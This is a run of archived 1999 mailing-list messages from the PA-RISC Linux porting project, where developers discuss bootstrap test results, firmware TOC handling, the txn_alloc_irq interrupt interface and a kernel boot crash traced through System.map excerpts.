Sender: pjlahaie@mailserv2.iuinc.com
Message-ID: <36E6B397.E4F61C41@atlsci.com>
Date: Wed, 10 Mar 1999 13:01:59 -0500
From: "Paul J.Y. Lahaie" <pjlahaie@atlsci.com>
Organization: Atlantis Scientific Inc.
X-Mailer: Mozilla 4.5 [en] (X11; I; Linux 2.2.3 i686)
X-Accept-Language: en
MIME-Version: 1.0
To: hppa-linux@thepuffingroup.com
Subject: Re: [hppa-linux] Bootstrap #3 successful
References: <199903101711.LAA30694@equator.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Resent-Message-ID: <"DMAL_1.0.6_1.8Lhvs"@sod.res.cmu.edu>
Resent-From: hppa-linux@thepuffingroup.com
Reply-To: hppa-linux@thepuffingroup.com
X-Mailing-List: <hppa-linux@thepuffingroup.com> archive/latest/166
X-Loop: hppa-linux@thepuffingroup.com
Precedence: list
Resent-Sender: hppa-linux-request@thepuffingroup.com
X-UIDL: 9efba513316261deb6b6167ec4fbbfa5
Lines: 25
Xref: merlin.pcj.primenet.com palinux:137

Jason Eckhardt wrote:
> 
> I'm happy to report that bootstrap #3 passed for everyone who reported back
> thus far, thanks for taking the time to help out. Network, disk, and even
> ZIP drive boots worked. I'd like to see a CD-ROM test if someone has a
> CDR drive available.
> 
> 1) 780/C160       (disk)
> 2) 715/64         (BOOTP)
> 3) 816/E35        (disk)
> 4) 712/100        (disk)
> 5) 712/100        (SCSI ZIP drive!)
> 6) 715/33         (RBOOTD)
> 7) 715/80         (?disk?)

    It didn't seem to work for me coming off bootp.  It might have been
my mistake, so I'll verify from home tonight and give you the results. 
My system is a 712/60.

								- Paul

-------------------------------------------------------------------------
To unsubscribe: send e-mail to hppa-linux-request@thepuffingroup.com with
`unsubscribe' as the subject.



From - Thu Nov 08 21:11:26 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: LaMont Jones <lamont@security.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] a pretty big change
Date: Wed, 08 Dec 1999 18:08:20 -0700
Lines: 16
Approved: news@gmane.org
Message-ID: <19991209010821.87E9318708@security.hp.com>
References: <199912071653.JAA18644@debian.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
X-Trace: ger.gmane.org 1416618692 28896 80.91.229.3 (22 Nov 2014 01:11:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:11:32 +0000 (UTC)
Cc: "John David Anglin" <dave@hiauly1.hia.nrc.ca>,
        parisc-linux@thepuffingroup.com, lamont@security.hp.com
To: Paul Bame <bame@debian.fc.hp.com>
Original-X-From: lamont@security.hp.com  Wed Dec  8 18:06:16 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id SAA12910
	for <parisc-linux@puffin.external.hp.com>; Wed, 8 Dec 1999 18:06:15 -0700
Original-Received: (qmail 32721 invoked by uid 15267); 9 Dec 1999 01:08:25 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 32714 invoked from network); 9 Dec 1999 01:08:25 -0000
Original-Received: from atlrel1.hp.com (156.153.255.210)
  by mailserv2.iuinc.com with SMTP; 9 Dec 1999 01:08:25 -0000
Original-Received: from security.hp.com (cranston.fc.hp.com [15.6.91.224])
	by atlrel1.hp.com (Postfix) with ESMTP id 9FC51F861
	for <parisc-linux@thepuffingroup.com>; Wed,  8 Dec 1999 20:08:24 -0500 (EST)
Original-Received: from cranston.fc.hp.com (cranston.fc.hp.com [15.6.91.224])
	by security.hp.com (Postfix) with ESMTP
	id 87E9318708; Wed,  8 Dec 1999 18:08:21 -0700 (MST)
In-reply-to: Your message of "Tue, 07 Dec 1999 09:53:02 MST."
             <199912071653.JAA18644@debian.fc.hp.com> 
Content-ID: <23145.944701700.1@cranston.fc.hp.com>
Xref: news.gmane.org gmane.linux.ports.parisc:6584

> That happens pretty frequently to me but I've not tracked down why
> it happens.  Did you try holding the TOC button in for several seconds?
> On some workstations I've been told that generates a hard reset.

TOC results in (providing that the checksum passes) transfer of control
to a routine pointed at from page 0.  If something is trashing that, and
the checksum'ed length is set to 0, then you'll branch off into the ozone.

If the checksum fails, then you get the PDC default of rebooting.

Don't know if that's your problem, but it's probably worth checking into
whether something is trashing physical address 8 (TOC vector - 0xc is the
length of the checksum.)

lamont


From - Thu Nov 08 21:11:26 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Philipp Rumpf <Philipp.H.Rumpf@mathe.stud.uni-erlangen.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] bad news, good news, unkown (Temp CR used as permanent storage)
Date: Thu, 9 Dec 1999 06:03:38 +0100
Lines: 26
Approved: news@gmane.org
Message-ID: <19991209060338.F21512@mathe.stud.uni-erlangen.de>
References: <199912032052.MAA02894@xsvr4.cup.hp.com> <19991204212623.B19280@mathe.stud.uni-erlangen.de> <384C0585.9F444390@hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618692 28898 80.91.229.3 (22 Nov 2014 01:11:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:11:32 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: frowand@cup.hp.com
Original-X-From: prumpf@abacus.uni-erlangen.de  Wed Dec  8 22:03:11 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id WAA14195
	for <parisc-linux@puffin.external.hp.com>; Wed, 8 Dec 1999 22:03:11 -0700
Original-Received: (qmail 14266 invoked by uid 15267); 9 Dec 1999 05:05:21 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 14259 invoked from network); 9 Dec 1999 05:05:21 -0000
Original-Received: from max5.rrze.uni-erlangen.de (root@131.188.3.50)
  by mailserv2.iuinc.com with SMTP; 9 Dec 1999 05:05:21 -0000
Original-Received: from [10.10.213.163] by max5.rrze.uni-erlangen.de with ESMTP; Thu, 9 Dec 1999 06:05:18 +0100
Original-Received: (from prumpf@localhost)
	by abacus (8.9.3/8.9.3) id GAA32021;
	Thu, 9 Dec 1999 06:04:38 +0100
X-Mailer: Mutt 1.0pre3us
In-Reply-To: <384C0585.9F444390@hp.com>
Xref: news.gmane.org gmane.linux.ports.parisc:6585

> However, there is a chance that existing PDC does not modify the
> Temporary Control Registers, based on conversations with some
> relevent engineers, and some theorizing.
>
> (Of course, the obvious exception is that the Temporary Control
> Registers are undefined when the kernel's HPMC handler is called.)

In this context I interpreted the last paragraph as saying that even if
firmware is nice and doesn't modify the temporary registers during PDC
calls, there is no chance whatsoever that the temporary registers contain
useful values after every HPMC on a certain firmware implementation.
(Now I don't see how HPMC's are an exception to the more general rule
that some firmware implementations might preserve the temporary registers).

> Ahhh, obvious if one had read the comments at the beginning of the basic
> hpmc handler that I submitted.
> Or read p. 1-16 of pdce.pdf, "PA-RISC 2.0
> Formware Architecture Reference Specification: Processor Dependent Code
> (PDC) Procedures (Part 2/2)" at
> http://thepuffingroup.com/parisc/documentation.html

Which contradict each other wrt the PSW W and E bits (E isn't going to
concern us but W might), btw.

	Philipp Rumpf


From - Thu Nov 08 21:11:26 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Philipp Rumpf <Philipp.H.Rumpf@mathe.stud.uni-erlangen.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] txn_alloc_irq() change
Date: Thu, 9 Dec 1999 05:50:39 +0100
Lines: 100
Approved: news@gmane.org
Message-ID: <19991209055039.E21512@mathe.stud.uni-erlangen.de>
References: <19991206193447.B21512@mathe.stud.uni-erlangen.de> <199912090024.QAA03214@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618692 28899 80.91.229.3 (22 Nov 2014 01:11:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:11:32 +0000 (UTC)
Cc: Philipp Rumpf <Philipp.H.Rumpf@mathe.stud.uni-erlangen.de>,
        parisc-linux@thepuffingroup.com
To: Grant Grundler <grundler@cup.hp.com>
Original-X-From: prumpf@abacus.uni-erlangen.de  Wed Dec  8 22:03:14 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id WAA14240
	for <parisc-linux@puffin.external.hp.com>; Wed, 8 Dec 1999 22:03:13 -0700
Original-Received: (qmail 14296 invoked by uid 15267); 9 Dec 1999 05:05:24 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 14288 invoked from network); 9 Dec 1999 05:05:23 -0000
Original-Received: from max5.rrze.uni-erlangen.de (root@131.188.3.50)
  by mailserv2.iuinc.com with SMTP; 9 Dec 1999 05:05:23 -0000
Original-Received: from [10.10.213.163] by max5.rrze.uni-erlangen.de with ESMTP; Thu, 9 Dec 1999 06:05:20 +0100
Original-Received: (from prumpf@localhost)
	by abacus (8.9.3/8.9.3) id FAA31693;
	Thu, 9 Dec 1999 05:51:39 +0100
X-Mailer: Mutt 1.0pre3us
In-Reply-To: <199912090024.QAA03214@milano.cup.hp.com>
Xref: news.gmane.org gmane.linux.ports.parisc:6586

> > The original plan was to hide txn_alloc_irq (which I still think is a bad
> > name as no-one is going to remember it) in bus-specific wrappers --
> > gsc_alloc_irq is one, though the Dino driver does not use it currently.
> 
> For munging the return values on specific busses, I agree. By that,
> I mean gsc_alloc_irq() is a useful interface for GSC devices which
> program their EIM register. This service is NOT bus specific.

Yes, it is.  Whether you can even reach the CPU's EIR register from a
certain bus is bus-specific.  Which EIR you want to use if you have the
choice is bus-specific.  The address of the EIR, if you can reach
it, is bus-specific (as you have a TLB between your system bus and the
I/O bus(ses) on most PA2.0 systems, right ?).  The length of the data
word you can send is bus-specific (5 bits for GSC, 6 bits for 64-bit
PA busses).

> I'm open for suggestions on the name.

If you want to export txn_alloc_irq to PCI drivers, ask the guys who will
actually have to use it - i.e. the driver authors for devices you want to
use transaction interrupts and the PCI maintainers for architectures that
support transaction interrupts (IA64 and PA-RISC ?).

If you want to keep the function parisc-specific and not exported to drivers
(just to the bus-specific wrappers), it could be called "cca1a78e0" without
anyone getting too upset about it.

> > So this doesn't even affect "well-written" drivers.
> This is wrong. Symbios SCSI, ATM, and Gigabit Ethernet Drivers could
> all *directly* use this service. All of those devices are capable of
> mastering a "Message Signalled Interrupt" instead of yanking an IRQ line.

And why would the driver be concerned with it ?  I am not sure how PCI
TBIs work, but the way I would hope it works is the PCI bus initialization
code assigns address/data pairs to those devices that support TBIs and
puts the corresponding irq into the pci_dev structure.  That way, we're
down to one line of code that calls txn_alloc_irq.

For those PCI devices that don't use the standard configuration mechanism
to do TBIs, if they should turn out to be worth it, you would have to do
stuff in the actual device driver, but I don't think there are many devices
to which this applies.

> It's a chicken and egg problem though: since no service exists for them
> on PC's, the drivers aren't written to use it. With IA64 and PA-risc

If you need to let the driver know which mechanism is used at the hardware
level to deliver interrupts, that's a flaw of the PCI spec (and would make
TBIs a lot less usable than IRQ line PCI interrupts). 

> > Changing txn_alloc_irq isn't exactly high-priority as all systems that
> > use <= 31 interrupt-generating devices (which I guess are the systems
> > we're currently working with) should work just fine right now.
> 
> Your priorities don't match mine. I'm getting paid to work on stuff
> which only runs under PA2.0.

The public Linux/PA-RISC tree is PA1.1 only right now, and I dare say we
don't care about systems with more than 31 IRQ-generating devices.

I don't know about the IA64 tree and any non-public Linux/PA-RISC trees,
but it was my impression those have their own mailing-lists and changes
to them need not be discussed here.

> The current interface only works for a subset of all parisc platforms.

Yeah, the subset with <= 31 devices.

> > txn_alloc_{addr,data} are confusing names as those functions don't actually
> > allocate anything.
> 
> They don't currently allocate anything but future implementations could.

How ?

All the allocation is handled in txn_alloc_irq - it returns a virtual irq
that can be resolved to an address/data pair lateron.  If we want to allocate
data (eg the eim bit index right now), it's done in txn_alloc_irq.  If we
want to allocate addresses (eg the future txn_alloc_irq returning the right
CPU's EIR), we do it in txn_alloc_irq.

> The IRQ is a *virtual* IRQ (prumpf knows that; I don't have to tell him).
> The address and data associated with that IRQ can be any CPU and any EIR
> bit for a given CPU.
> 
> Secondly, the names match with txn_alloc_irq() and that makes it easier
> to remember. I'm open to changing the names for all three functions.

Actually, what you should think about is merging the three functions -
virtual irq, transaction address and transaction data don't make sense on
their own, so you almost always end up doing

	tmp1 = txn_alloc_irq(...);
	tmp2 = txn_alloc_addr(irq);
	tmp3 = txn_alloc_data(irq);

which seems unnecessarily verbose.

	Philipp Rumpf


From - Thu Nov 08 21:11:26 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Philipp Rumpf <Philipp.H.Rumpf@mathe.stud.uni-erlangen.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] /usr/conf/machine header files
Date: Thu, 9 Dec 1999 05:06:34 +0100
Lines: 30
Approved: news@gmane.org
Message-ID: <19991209050634.D21512@mathe.stud.uni-erlangen.de>
References: <19991206002708.A16979@mathe.stud.uni-erlangen.de> <199912082333.PAA03087@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618692 28905 80.91.229.3 (22 Nov 2014 01:11:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:11:32 +0000 (UTC)
Cc: Philipp Rumpf <Philipp.H.Rumpf@mathe.stud.uni-erlangen.de>,
        parisc-linux@thepuffingroup.com
To: Grant Grundler <grundler@cup.hp.com>
Original-X-From: prumpf@abacus.uni-erlangen.de  Wed Dec  8 22:03:16 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id WAA14306
	for <parisc-linux@puffin.external.hp.com>; Wed, 8 Dec 1999 22:03:15 -0700
Original-Received: (qmail 14315 invoked by uid 15267); 9 Dec 1999 05:05:26 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 14303 invoked from network); 9 Dec 1999 05:05:25 -0000
Original-Received: from max5.rrze.uni-erlangen.de (root@131.188.3.50)
  by mailserv2.iuinc.com with SMTP; 9 Dec 1999 05:05:25 -0000
Original-Received: from [10.10.213.163] by max5.rrze.uni-erlangen.de with ESMTP; Thu, 9 Dec 1999 06:05:23 +0100
Original-Received: (from prumpf@localhost)
	by abacus (8.9.3/8.9.3) id FAA30624;
	Thu, 9 Dec 1999 05:07:35 +0100
X-Mailer: Mutt 1.0pre3us
In-Reply-To: <199912082333.PAA03087@milano.cup.hp.com>
Xref: news.gmane.org gmane.linux.ports.parisc:6587

> > PA2.0 port:  64-bit virtual addresses are 42 bits per quadrant only and
> > start at the smallest address in the quadrant - so unlike alpha where the
> > addresses are "sign-extended".
> Actually, HP-UX does sign extend I/O addresses. I'm not sure

That's physical addresses though, so we really don't care, do we ?

> if this is a feature of HP-UX or something in the HW makes it
> easier to do it this way...anyone know?
> 

> Secondly, don't make assumptions about how many bits are used in
> a virtual or physical addresses unless it's processor specific code.
> (eg TLB handler or trap handler or hpmc handler). I know the number
> of physical bits supported by the processor is going to increase
> from 40-bits (runway).

physical addresses you are right about;  we really should use an unsigned
long for those and never expect them to be less than 64 bits in length.

virtual addresses, unfortunately, aren't as simple:  The 32 LSBs of the
space identifier get ORed into the 32 MSBs of the virtual address, so we
are limited to 2+(62-virtual_address_bits_used) effective bits for space
identifiers (on PA2.0 CPUs with 32 bit space registers).  As we want to
use at least one space identifier per process, actually using only 42
bits of the virtual address gives us 22 bits of space identifiers - or
1 M processes even if we use 4 space identifiers per process.

	Philipp Rumpf


From - Thu Nov 08 21:11:26 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] txn_alloc_irq() change
Date: Wed, 08 Dec 1999 23:00:08 -0800
Lines: 215
Approved: news@gmane.org
Message-ID: <199912090700.XAA03556@milano.cup.hp.com>
References: <19991209055039.E21512@mathe.stud.uni-erlangen.de>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416618693 28913 80.91.229.3 (22 Nov 2014 01:11:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:11:33 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Philipp Rumpf <Philipp.H.Rumpf@mathe.stud.uni-erlangen.de>
Original-X-From: grundler@cup.hp.com  Wed Dec  8 23:57:05 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id XAA15182
	for <parisc-linux@puffin.external.hp.com>; Wed, 8 Dec 1999 23:57:05 -0700
Original-Received: (qmail 12644 invoked by uid 15267); 9 Dec 1999 06:59:11 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 12636 invoked from network); 9 Dec 1999 06:59:11 -0000
Original-Received: from atlrel2.hp.com (156.153.255.202)
  by mailserv2.iuinc.com with SMTP; 9 Dec 1999 06:59:11 -0000
Original-Received: from milano.cup.hp.com (root@milano.cup.hp.com [15.16.124.11])
	by atlrel2.hp.com (8.8.6 (PHNE_17135)/8.8.5tis) with ESMTP id BAA12334
	for <parisc-linux@thepuffingroup.com>; Thu, 9 Dec 1999 01:58:08 -0500 (EST)
Original-Received: from localhost (grundler@localhost [127.0.0.1]) by milano.cup.hp.com with SMTP (8.8.6 (PHNE_14041)/8.7.3 TIS Messaging 5.0) id XAA03556; Wed, 8 Dec 1999 23:00:09 -0800 (PST)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of "Thu, 09 Dec 1999 05:50:39 PST."
             <19991209055039.E21512@mathe.stud.uni-erlangen.de> 
Xref: news.gmane.org gmane.linux.ports.parisc:6588

Philipp Rumpf wrote:
> > For munging the return values on specific busses, I agree. By that,
> > I mean gsc_alloc_irq() is a useful interface for GSC devices which
> > program their EIM register. This service is NOT bus specific.
> 
> Yes, it is.  Whether you can even reach the CPU's EIR register from a
> certain bus is bus-specific.  Which EIR you want to use if you have the
> choice is bus-specific.  The address of the EIR, if you can reach
> it, is bus-specific (as you have a TLB between your system bus and the
> I/O bus(ses) on most PA2.0 systems, right ?).  The length of the data
> word you can send is bus-specific (5 bits for GSC, 6 bits for 64-bit
> PA busses).

Philipp,
The *service* is not bus specific. The details (ie parameters) are.
Please seperate interfaces from implementations.
You claimed early on you would do that.

> > I'm open for suggestions on the name.
> 
> If you want to export txn_alloc_irq to PCI drivers, ask the guys who will
> actually have to use it - i.e. the driver authors for devices you want to
> use transaction interrupts and the PCI maintainers for architectures that
> support transaction interrupts (IA64 and PA-RISC ?).

Ok. I need to lookup and contact NCR/Symbios SCSI, ATM, and GigE
driver authors and pester them one this topic.
Won't happen until next year. I'll do it then.

If someone knows the right people to ask, please just "cc"
me in the conversion for now...

I've already spoken at length with David Mossberger (IA64) about this
and he basically doesn't care right now. He finds the topic interesting
but HP isn't funding him to do any work which mostly benefits servers.
Though txn_xxx services help PA-Risc workstations too, IA64 has some
interesting interrupt HW support which kluges around the need for MSI
on configurations with less than about 4 CPUs.  But neither David nor
I fully understand how IA64-linux supports this HW.

(I do know how HP-UX supports the same platform though.)

> If you want to keep the function parisc-specific and not exported to drivers
> (just to the bus-specific wrappers), it could be called "cca1a78e0" without
> anyone getting too upset about it.

Really?
As Alex would say: "I don't believe you".

> > > So this doesn't even affect "well-written" drivers.
> > This is wrong. Symbios SCSI, ATM, and Gigabit Ethernet Drivers could
> > all *directly* use this service. All of those devices are capable of
> > mastering a "Message Signalled Interrupt" instead of yanking an IRQ line.
> 
> And why would the driver be concerned with it?

Latency and CPU utilization. The former directly affect response times
and the latter throughput.  Using this service on PA-Risc will remove one
level of function calls from the interrupt code path on PCI subsystems.

> I am not sure how PCI
> TBIs work, but the way I would hope it works is the PCI bus initialization
> code assigns address/data pairs to those devices that support TBIs and
> puts the corresponding irq into the pci_dev structure.  That way, we're
> down to one line of code that calls txn_alloc_irq.

I know how they work.  You need to do more homework before "hoping" much.
And pci_dev structure only has room for the virtual IRQ. That may change
for PCI 2.2 but I want to support PCI 2.1 compliant devices as well.

More importantly, not all PCI devices discovered can or will want
to directly master their own interrupt transaction.  I.e. assigning
CPU/EIR bits to every serial port card is a waste of resources.

> For those PCI devices that don't use the standard configuration mechanism
> to do TBIs, if they should turn out to be worth it, you would have to do
> stuff in the actual device driver, but I don't think there are many devices
> to which this applies.

There is no "standard configuration mechanism" for TBI's.
Not until PCI 2.2 becomes more prevalent. SCSI, ATM, and GiGE
PCI devices I'm aware are only PCI 2.1 compliant today.

> 
> > It's a chicken and egg problem though: since no service exists for them
> > on PC's, the drivers aren't written to use it. With IA64 and PA-risc
> 
> If you need to let the driver know which mechanism is used at the hardware
> level to deliver interrupts, that's a flaw of the PCI spec (and would make
> TBIs a lot less usable than IRQ line PCI interrupts). 

You have it backwards: the PCI device driver needs to query the
platform if it supports TXN services and then program the HW accordingly.
Drivers do this all the time to determine capabilities of devices.
If the platform doesn't support MSI, txn_alloc_irq() (with appropriate
parameters) will return an error to indicate it either can't or the
resource (virtual IRQ) isn't available.

Drivers can assume line based interrupts are supported by default
since those are architected in PCI 2.1.

PCI 2.2 only defines how the driver can communicate the devices ability
to master "Message Signalled Interrupts". It doesn't (and shouldn't) say
anything about how the OS interrupt support interacts with the device
driver.

> 
> > > Changing txn_alloc_irq isn't exactly high-priority as all systems that
> > > use <= 31 interrupt-generating devices (which I guess are the systems
> > > we're currently working with) should work just fine right now.
> > 
> > Your priorities don't match mine. I'm getting paid to work on stuff
> > which only runs under PA2.0.
> 
> The public Linux/PA-RISC tree is PA1.1 only right now, and I dare say we
> don't care about systems with more than 31 IRQ-generating devices.

Alex: Can you address this?

I can't speak for The Puffin Group. But inside HP, I, and the people
who pay my salary are very interested in PA 2.0 boxes which can have
more than 31 IRQs. Most people first ask does parisc-linux run on
<something-with-PA20>-class. So despite the official charter,
PA 2.0 is happening on/with the same tree because of interest.
C-class is the first stepping stone in that direction.

> I don't know about the IA64 tree and any non-public Linux/PA-RISC trees,
> but it was my impression those have their own mailing-lists and changes
> to them need not be discussed here.

I disgree.  This is an inclusive forum. If people want to work
on support an 827s or T600s, they are welcome to do it. It's my
choice to decline to help (and I definitely will not help). 

I don't know about the IA64 tree either. In fact, I'm legally not
allowed to look at it *because* I'm working on parisc-linux.
(kinda sucks in fact...but oh well...)

I'm not aware of any other non-public PA-Risc tree's.
I'm working on the same CVS tree as everyone else.

> > The current interface only works for a subset of all parisc platforms.
> 
> Yeah, the subset with <= 31 devices.

I'm trying to get past that limitation.
If you don't want to help, don't reply or just say you don't want to help.
I'm not offended by that.

> 
> > > txn_alloc_{addr,data} are confusing names as those functions don't actual
>   ly
> > > allocate anything.
> > 
> > They don't currently allocate anything but future implementations could.
> 
> How ?
> 
> All the allocation is handled in txn_alloc_irq - it returns a virtual irq
> that can be resolved to an address/data pair lateron.  If we want to allocate
> data (eg the eim bit index right now), it's done in txn_alloc_irq.  If we
> want to allocate addresses (eg the future txn_alloc_irq returning the right
> CPU's EIR), we do it in txn_alloc_irq.

Here's an example: Change the interface to allow the driver to call
txn_alloc_addr() to get a *different* CPU - same virtual IRQ.  And
ditto for txn_alloc_data(). Then txn_alloc_irq() would only
be used to hand out "handles" (ie Virtual IRQs).

Why would a driver want to do that? Because some outside module
is smarter, knows more about the resources available, and told the
device driver to make the request and reprogram it's HW.
My dream is to manage interrupt "load" similar to the way process
and threads are managed. In fact, the two should know about each
other and they don't.

> > The IRQ is a *virtual* IRQ (prumpf knows that; I don't have to tell him).
> > The address and data associated with that IRQ can be any CPU and any EIR
> > bit for a given CPU.
> > 
> > Secondly, the names match with txn_alloc_irq() and that makes it easier
> > to remember. I'm open to changing the names for all three functions.
> 
> Actually, what you should think about is merging the three functions -
> virtual irq, transaction address and transaction data don't make sense on
> their own, so you almost always end up doing
> 
> 	tmp1 = txn_alloc_irq(...);
> 	tmp2 = txn_alloc_addr(irq);
> 	tmp3 = txn_alloc_data(irq);
> 
> which seems unnecessarily verbose.

See above example.
IMHO, the three functions interface is more flexible and matches
the potential uses better.

thanks again,
grant

ps. I'm going to be out of the office until end of the month....bummer
the mail server was out for a bit...happy holidays and happy New Year!

> 
> 	Philipp Rumpf
> 
> ---------------------------------------------------------------------------
> To unsubscribe: send e-mail to parisc-linux-request@thepuffingroup.com with
> `unsubscribe' as the subject.
> 

Grant Grundler
Unix Developement Lab
+1.408.447.7253


From - Thu Nov 08 21:11:26 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ulrich Strelow <ulrich_strelow@yahoo.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] a pretty big change
Date: Thu, 9 Dec 1999 04:24:31 -0800 (PST)
Lines: 233
Approved: news@gmane.org
Message-ID: <19991209122431.18795.qmail@web505.mail.yahoo.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416618693 28924 80.91.229.3 (22 Nov 2014 01:11:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:11:33 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Paul Bame <bame@fc.hp.com>
Original-X-From: ulrich_strelow@yahoo.com  Thu Dec  9 05:22:22 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id FAA18960
	for <parisc-linux@puffin.external.hp.com>; Thu, 9 Dec 1999 05:22:21 -0700
Original-Received: (qmail 16116 invoked by uid 15267); 9 Dec 1999 12:24:32 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 16109 invoked from network); 9 Dec 1999 12:24:32 -0000
Original-Received: from web505.mail.yahoo.com (128.11.68.72)
  by mailserv2.iuinc.com with SMTP; 9 Dec 1999 12:24:31 -0000
Original-Received: (qmail 18796 invoked by uid 60001); 9 Dec 1999 12:24:31 -0000
Original-Received: from [149.234.12.1] by web505.mail.yahoo.com; Thu, 09 Dec 1999 04:24:31 PST
Xref: news.gmane.org gmane.linux.ports.parisc:6589

Hello Paul,

thanks for the quick answer. I am sorry but I did not
understand what I see in System.map:

excerpt 1 for System.Map:
c0049f90 t $CODE$
c0049f90 t put_unused_buffer_head
c0049fd8 t L$1856
c004a004 t L$1854
c004a018 t $CODE$
c004a018 t get_unused_buffer_head
c004a110 t $CODE$
c004a110 t create_buffers
c004a320 t $CODE$
c004a320 t end_buffer_io_async

So I thought 0xc004a078 is in get_unused_buffer_head
which is in fs/buffer.c.

excerpt 2 from System.map:
c0111f14 D blkdev_inode_operations
c0111f64 D def_chr_fops
c0111fa0 D chrdev_inode_operations
c0111ff0 d L$C0008
c0111ffc d L$C0009
c011200c d L$C0010
c0112018 d L$C0011
c0112028 d L$C0012
c0112038 D nr_files
c0112038 d lock___76

So 0xc0112000 points into the data segment(?) as a
return address for that subroutine.

Unfortunately I have no anonymous ftp server here at
work, where I can put the kernel for you. And
puffin.external.hp.com has no Incoming directory...

So is it ok to send Image + System.map as a
tar.gz-file via mail to you?

If this problem is not of general interest and other
big changes will happen soon (maybe the 2.3 merge)
where the problem might go away, it is ok that you
simply say "wait for that to happen" to me. 
 
Regards
Ulrich

--- Paul Bame <bame@fc.hp.com> wrote:
> = Hi all,
> = 
> = I have build a new kernel with the CVS version
> = 19991205 and I get the following console output
> when I
> = try to boot it on my 715/33:
> 
> If you'll place that kernel somewhere I can get it,
> I'll check
> this, or you can.  Look into the kernel and/or
> System.map
> for what's at 0xc004a078, which is inside a
> procedure which will
> return to 0xc0112000.  It looks like a null (or
> small) pointer
> dereference because we're trying to create a virtual
> mapping for address 0.
> 
> 	-P
> 
> = PARISC/Linux Bootstrap Version 0.6 (interactive)
> = By Helge Deller & Jason Eckhardt
> = Built Mon Dec 6 11:13:34 MET 1999 by root@be5359
> = 
> = Reading parameters...done.
> = 
> = Loading PA-RISC/Linux Kernel...
> = 
> = Please enter the command-line:
> = /stand/vmlinux HOME=/ TERM=LINUX console=tty
> = 
> = SOM-Kernel:
> = aux_header_location: 00000080
> = som       : 00200080
> = exec_dfile: 000CE000
> = exec_dsize: 00081000
> = exec_dmem : C00A0000
> = exec_tfile: 0003E000
> = exec_tsize: 0008F008
> = exec_tmem : C0010000
> = Code at 0x00010000, size=0x0008F008
